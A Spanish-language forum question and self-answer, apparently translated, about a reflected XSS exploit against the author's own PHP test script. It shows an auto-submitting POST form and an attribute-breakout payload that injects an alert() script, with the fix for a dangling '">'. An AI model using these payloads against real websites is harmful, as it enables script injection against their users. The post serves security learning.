Empecé a jugar con XSS para mejorar mi postura de seguridad en el trabajo. Pude explotar con éxito un ataque XSS reflejado usando un formulario POST redirigido, pero parece que no puedo eliminar los caracteres extraños que se muestran en la página.
He comprobado:
XSS: Carácter que se muestra en DOM
¿Cómo cargar javascript en otra página web a través de XSS?
Pero ninguna de las sugerencias parece funcionar para mí.
Mi exploit es una forma básica, explotando un script del lado del servidor PHP que configuré haciendo eco $_POST['username'] en el atributo de valor:
<form id=1 method="post" action="http://vulnerable.site.com"> <input type="hidden" name="username" value=""><script>alert('Hello');</script>""> </form> <script> document.getElementById(1).submit(); </script>Sin codificar:
<form id=1 method="post" action="http://vulnerable.site.com"> <input type="hidden" name="username" value=""><script>alert('Hello');</script>"> </form> <script> document.getElementById(1).submit(); </script> Pero este molesto "> no morirá:
He intentado:
"> a "> - esto da como resultado errores de sintaxis, y la eliminación de las comillas iniciales rompe la carga útil. PERO, según los recursos vinculados anteriormente, parece posible según los comentarios"> aparece como #text , así que pensé que esto podría funcionar)Estoy seguro de que es algo tonto, pero ¿qué me estoy perdiendo? Es claramente posible, pero no soy un desarrollador web experto (de ahí el jugueteo). ¡Cualquier comentario o consejo sería apreciado!
Eventualmente lo descubrí después de horas de prueba y error. La idea es cerrar la etiqueta colgante con una etiqueta separada:
Así que la carga útil anterior era:
"><script>alert('Hello');</script>Que, después de que el script PHP lo analice, se ve así:
<input type="text" name="username" value="">"> <!-- notice the dangling tag -->Después de agregar una etiqueta de entrada de cierre, la solución funcionó:
"><script>alert('Hello');</script><input type="hidden" value="Y salida del análisis de PHP:
<input type="text" name="username" value=""><script>alert('Hello');</script><input type="hidden" value="">Tenga en cuenta que lo anterior debe estar codificado en HTML para funcionar correctamente. Lo omití por legibilidad.